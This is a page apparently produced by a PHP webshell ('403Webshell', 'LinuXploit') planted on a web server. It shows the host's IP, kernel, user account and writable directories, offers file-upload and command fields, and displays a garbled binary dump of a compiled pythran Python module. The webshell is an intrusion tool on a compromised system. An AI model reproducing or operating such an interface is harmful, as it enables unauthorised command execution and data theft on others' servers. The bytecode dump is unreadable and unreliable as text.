403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/pythran/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/pythran/__pycache__/intrinsic.cpython-311.pyc
�

cR�aX���dZddlmZddlmZmZddlmZddlm	Z	m
Z
mZmZddl
ZGd�de��Ze��Zd	ZGd
�de��ZGd�d
e��ZGd�de��ZGd�de��ZGd�de��ZGd�de��ZGd�de��ZGd�de��ZGd�de��ZGd�de��ZGd�de��ZGd �d!e��ZGd"�d#e��ZGd$�d%e��Z Gd&�d'e��Z!Gd(�d)e!e��Z"Gd*�d+e!e��Z#Gd,�d-e!e��Z$Gd.�d/e!e��Z%dS)0zF This module contains all classes used to model intrinsics behavior.  ���to_ast)�
UNKNOWN_RANGE�bool_values)�extract_combiner)�Any�Union�Fun�	GeneratorNc��eZdZdZdS)�UnboundValueTypez;
    Represents a new location, bound to no identifier
    N��__name__�
__module__�__qualname__�__doc__���3/usr/lib/python3/dist-packages/pythran/intrinsic.pyr
r
s���������rr
�c��eZdZdS)�UpdateEffectN�rrrrrrrr��������Drrc��eZdZdS)�
ReadEffectNrrrrrrrrrc��eZdZdS)�ReadOnceEffectNrrrrrrrrrc�H�eZdZdZd�Zd�Zd�Zd�Zd�Zd�Z	d�Z
d	�Zd
�ZdS)�	Intrinsicat
    Model any Method/Function.

    Its member variables are:

    - argument_effects that describes the effect of the function on its
      argument (either UpdateEffect, ReadEffect or ReadOnceEffect)
    - global_effects that describes whether the function has side effects
    - return_alias that describes the aliasing between the return value
      and the parameters. The lambda returns an ast expression, generally
      depending on the node arguments (see dict.setdefault)
    - args that describes the name and default value of each arg, using the
      same representation as ast.FunctionDef, i.e. ast.arguments
    c
�6�|�dt��ftz��|_|�dd��|_|�dd���|_t
jd�|�dg��D��gdd�|�d	g��D��gdd
�|�dg��D����|_|�dd
���|_	|�dd���|_
dS)N�argument_effects�global_effectsF�return_aliasc��thS�N)�UnboundValue)�xs r�<lambda>z$Intrinsic.__init__.<locals>.<lambda>9s��,��rc�^�g|]*}tj|tj��dd����+Sr&��ast�Name�Param��.0�ns  r�
<listcomp>z&Intrinsic.__init__.<locals>.<listcomp>;s>��
.�
.�
.���X�a�����d�D�
1�
1�
.�
.�
.r�argsc�^�g|]*}tj|tj��dd����+Sr&r+r/s  rr2z&Intrinsic.__init__.<locals>.<listcomp>>s>��
4�
4�
4���X�a�����d�D�
1�
1�
4�
4�
4r�
kwonlyargsc�,�g|]}t|����Srr)r0�ds  rr2z&Intrinsic.__init__.<locals>.<listcomp>As��;�;�;�1�V�A�Y�Y�;�;�;r�defaults�return_rangec��tSr&�r)�calls rr)z$Intrinsic.__init__.<locals>.<lambda>Cs��M�r�return_range_contentc��tSr&r;)�cs rr)z$Intrinsic.__init__.<locals>.<lambda>Es���r)�getr�
DefaultArgNumr"r#r$r,�	argumentsr3r9r=)�self�kwargss  r�__init__zIntrinsic.__init__4s<�� &�
�
�+=�,8�N�N�+<�}�+L�!N�!N���$�j�j�)9�5�A�A���"�J�J�~�'?�'?�A�A����M�
.�
.��j�j���,�,�
.�
.�
.���
4�
4��j�j��r�2�2�
4�
4�
4���;�;��
�
�:�r� :� :�;�;�;�=�=��	�#�J�J�~�'A�'A�C�C���$*�J�J�/E�/F�/F�%H�%H��!�!�!rc��dS�NFr�rCs r�	isliteralzIntrinsic.isliteralG����urc��dSrGrrHs r�
isfunctionzIntrinsic.isfunctionJrJrc��dSrGrrHs r�isstaticfunctionzIntrinsic.isstaticfunctionMrJrc��dSrGrrHs r�ismethodzIntrinsic.ismethodPrJrc��dSrGrrHs r�isattributezIntrinsic.isattributeSrJrc�P�td�|jD����o|jS)Nc3�@K�|]}t|t��V��dSr&)�
isinstancer)r0r(s  r�	<genexpr>z$Intrinsic.isconst.<locals>.<genexpr>Ws=������,-�J�q�,�'�'������r)�anyr"r#rHs r�isconstzIntrinsic.isconstVsF�����15�1F�������*��)�)�	*rc�B�t|j|t��Sr&)rUr"r)rCr1s  r�
isreadoncezIntrinsic.isreadonce[s���$�/��2�N�C�C�Crc��dSr&r)rC�s�nodes   r�combinerzIntrinsic.combiner^s���rN)
rrrrrErIrLrNrPrRrXrZr^rrrr r #s�������
�
�H�H�H�&���������������*�*�*�
D�D�D�
�
�
�
�
rr c�6��eZdZ�fd�Zd�Zd�Zd�Zd�Z�xZS)�FunctionIntrc����|�dd��tt|��jdi|��|d|_d|v�r|d|_t
|j��}|�|xj|fz
c_d|vr�t|jt��r0td�|jj
D����rt|_n�t|jt��r&|jj
dturt|_nLt|jt��r%|jj
dturt|_nt |_d|vr|d|_dSg|_dS)	N�	combinersr�	signaturer9c3�>K�|]}|jdtuV��dS)���N)�__args__�bool)r0�rs  rrVz(FunctionIntr.__init__.<locals>.<genexpr>nsA����=�=� ��:�b�>�T�1�=�=�=�=�=�=rrre�immediate_arguments)�
setdefault�superr`rErbrcrrUr	�allrfrr9rrgr
rri)rCrD�deduced_combiner�	__class__s   �rrEzFunctionIntr.__init__cs|������+�r�*�*�*�*��l�D�!�!�*�4�4�V�4�4�4���,����&� � �#�K�0�D�N�/���?�?���+����"2�"3�3����V�+�+��d�n�e�4�4�	8��=�=�$(�N�$;�=�=�=�=�=�8�,7��)�����	�:�:�8��~�.�q�1�T�9�9�,7��)������4�4�8��~�.�r�2�d�:�:�,7��)�� �D�N� �F�*�*�'-�.C�'D�D�$�$�$�')�D�$�$�$rc��dS�NTrrHs rrLzFunctionIntr.isfunction~����trc��dSrprrHs rrNzFunctionIntr.isstaticfunction�rqrc�(�|xj|fz
c_dSr&�rb)rC�	_combiners  r�add_combinerzFunctionIntr.add_combiner�s�����9�,�&����rc�2�|jD]}|||���dSr&rt)rCr\r]�combs    rr^zFunctionIntr.combiner�s.���N�	�	�D��D��D�M�M�M�M�	�	r)	rrrrErLrNrvr^�
__classcell__�rns@rr`r`bst�������*�*�*�*�*�6������'�'�'�������rr`c���eZdZ�fd�Z�xZS)�UserFunctionc�R��||d<tt|��jdi|��dS)Nrbr)rkr|rE�rCrbrDrns   �rrEzUserFunction.__init__�s6���'��{��*��l�D�!�!�*�4�4�V�4�4�4�4�4r�rrrrEryrzs@rr|r|�s8�������5�5�5�5�5�5�5�5�5rr|c���eZdZ�fd�Z�xZS)�ConstFunctionIntrc���|�dt��ftz��tt|��jdi|��dS�Nr"r)rjrrArkr�rE�rCrDrns  �rrEzConstFunctionIntr.__init__�sV������,�%�<�<�/�M�9�	;�	;�	;�/����&�&�/�9�9�&�9�9�9�9�9rrrzs@rr�r��s8�������:�:�:�:�:�:�:�:�:rr�c���eZdZ�fd�Z�xZS)�ConstExceptionIntrc���|�dt��ftz��tt|��jdi|��dSr�)rjrrArkr�rEr�s  �rrEzConstExceptionIntr.__init__�sV������,�%�<�<�/�M�9�	;�	;�	;�0�� �$�'�'�0�:�:�6�:�:�:�:�:rrrzs@rr�r��s8�������;�;�;�;�;�;�;�;�;rr�c���eZdZ�fd�Z�xZS)�ReadOnceFunctionIntrc�v��tt|��jddt��ftzi|��dSr�)rkr�rErrAr�s  �rrEzReadOnceFunctionIntr.__init__�sZ���2��"�D�)�)�2�	L�	L�,�.�.�0�=�@�	L�DJ�	L�	L�	L�	L�	Lrrrzs@rr�r���A�������L�L�L�L�L�L�L�L�Lrr�c�*��eZdZ�fd�Zd�Zd�Z�xZS)�
MethodIntrc����|�dt��ft��ftzz��||d<t	t
|��jdi|��dS)Nr"rbr)rjrrrArkr�rEr~s   �rrEzMethodIntr.__init__�sn������,�'�>�>�+�z�|�|�o�
�.M�M�	O�	O�	O�'��{��(��j�$���(�2�2�6�2�2�2�2�2rc��dSrprrHs rrPzMethodIntr.ismethod�rqrc��dSrGrrHs rrNzMethodIntr.isstaticfunction�rJr)rrrrErPrNryrzs@rr�r��sV�������3�3�3�3�3����������rr�c���eZdZ�fd�Z�xZS)�ConstMethodIntrc���|�dt��ftz��tt|��j|i|��dS)Nr")rjrrArkr�rEr~s   �rrEzConstMethodIntr.__init__�sM������,�z�|�|�o�
�.M�N�N�N�-��o�t�$�$�-�y�C�F�C�C�C�C�Crrrzs@rr�r��sA�������D�D�D�D�D�D�D�D�Drr�c���eZdZ�fd�Z�xZS)�ReadOnceMethodIntrc�v��tt|��jddt��ftzi|��dSr�)rkr�rErrAr�s  �rrEzReadOnceMethodIntr.__init__�sZ���0�� �$�'�'�0�	L�	L�,�.�.�0�=�@�	L�DJ�	L�	L�	L�	L�	Lrrrzs@rr�r��r�rr�c�(��eZdZdZ�fd�Zd�Z�xZS)�
AttributeIntrz^
    Internal representation for any attributes.

    Examples
    --------
    >> a.real
    c���tt|��jdi|��d|vr|d|_dSt|_dS)z Forward arguments. rcNr)rkr�rErcrr�s  �rrEzAttributeIntr.__init__�sL���+��m�T�"�"�+�5�5�f�5�5�5��&� � �#�K�0�D�N�N�N� �D�N�N�Nrc��dS)z& Mark this intrinsic as an attribute. TrrHs rrRzAttributeIntr.isattribute�����tr)rrrrrErRryrzs@rr�r��sQ���������!�!�!�!�!�������rr�c�(��eZdZdZ�fd�Zd�Z�xZS)�ConstantIntrz]
    Internal representation for any constant.

    Examples
    --------
    >> math.pi
    c�R��d|d<tt|��jdi|��dS)z1 Forward arguments and remove arguments effects. rr"N)rkr�rEr�s  �rrEzConstantIntr.__init__�s7���%'��!�"�*��l�D�!�!�*�4�4�V�4�4�4�4�4rc��dS)z# Mark this intrinsic as a literal. TrrHs rrIzConstantIntr.isliteral�r�r)rrrrrErIryrzs@rr�r��sQ���������5�5�5�5�5�
������rr�c�0��eZdZ�fd�Zd�Zd�Zd�Z�xZS)�Classc�V��tt|��j|i|��||_dSr&)rkr�rE�fields�rCr7r3rDrns    �rrEzClass.__init__�s0���#��e�T���#�T�4�V�4�4�4�����rc��|j|Sr&�r��rC�keys  r�__getitem__zClass.__getitem__�s���{�3��rc�4�|j���Sr&)r��__iter__rHs rr�zClass.__iter__�s���{�#�#�%�%�%rc��||jvS)z( Forward key content to aliased module. r�r�s  r�__contains__zClass.__contains__�s���d�k�!�!r)rrrrEr�r�r�ryrzs@rr�r��se������������ � � �&�&�&�"�"�"�"�"�"�"rr�c���eZdZ�fd�Z�xZS)�ClassWithReadOnceConstructorc�P��tt|��j|g|�Ri|��dSr&)rkr�rEr�s    �rrEz%ClassWithReadOnceConstructor.__init__�s7���:��*�D�1�1�:�1�N�t�N�N�N�v�N�N�N�N�Nrrrzs@rr�r��sA�������O�O�O�O�O�O�O�O�Orr�c���eZdZ�fd�Z�xZS)�ClassWithConstConstructorc�P��tt|��j|g|�Ri|��dSr&)rkr�rEr�s    �rrEz"ClassWithConstConstructor.__init__s7���7��'��.�.�7��K�D�K�K�K�F�K�K�K�K�Krrrzs@rr�r�sA�������L�L�L�L�L�L�L�L�Lrr�c���eZdZ�fd�Z�xZS)�ExceptionClassc�P��tt|��j|g|�Ri|��dSr&)rkr�rEr�s    �rrEzExceptionClass.__init__s6���,��n�d�#�#�,�Q�@��@�@�@��@�@�@�@�@rrrzs@rr�r�sA�������A�A�A�A�A�A�A�A�Arr�c��eZdZdZdS)�UFuncz% Representation of ufunc from numpy. Nrrrrr�r�
s������/�/�/�/rr�)&r�pythran.conversionr�pythran.intervalrr�pythran.types.signaturer�pythran.typingrr	r
r�gastr,�objectr
r'rArrrr r`r|r�r�r�r�r�r�r�r�r�r�r�r�r�rrr�<module>r�s ��L�L�%�%�%�%�%�%�7�7�7�7�7�7�7�7�4�4�4�4�4�4�5�5�5�5�5�5�5�5�5�5�5�5����������v���� ��!�!���
�	�	�	�	�	�6�	�	�	�	�	�	�	�	��	�	�	�	�	�	�	�	�Z�	�	�	�<
�<
�<
�<
�<
��<
�<
�<
�~'�'�'�'�'�9�'�'�'�T5�5�5�5�5�<�5�5�5�:�:�:�:�:��:�:�:�;�;�;�;�;�*�;�;�;�L�L�L�L�L�,�L�L�L����������D�D�D�D�D�j�D�D�D�L�L�L�L�L��L�L�L������I����.�����9����(
"�
"�
"�
"�
"�I�
"�
"�
"� O�O�O�O�O�5�*>�O�O�O�
L�L�L�L�L��'8�L�L�L�
A�A�A�A�A�U�.�A�A�A�
0�0�0�0�0�E�$�0�0�0�0�0r

Youez - 2016 - github.com/yon3zu
LinuXploit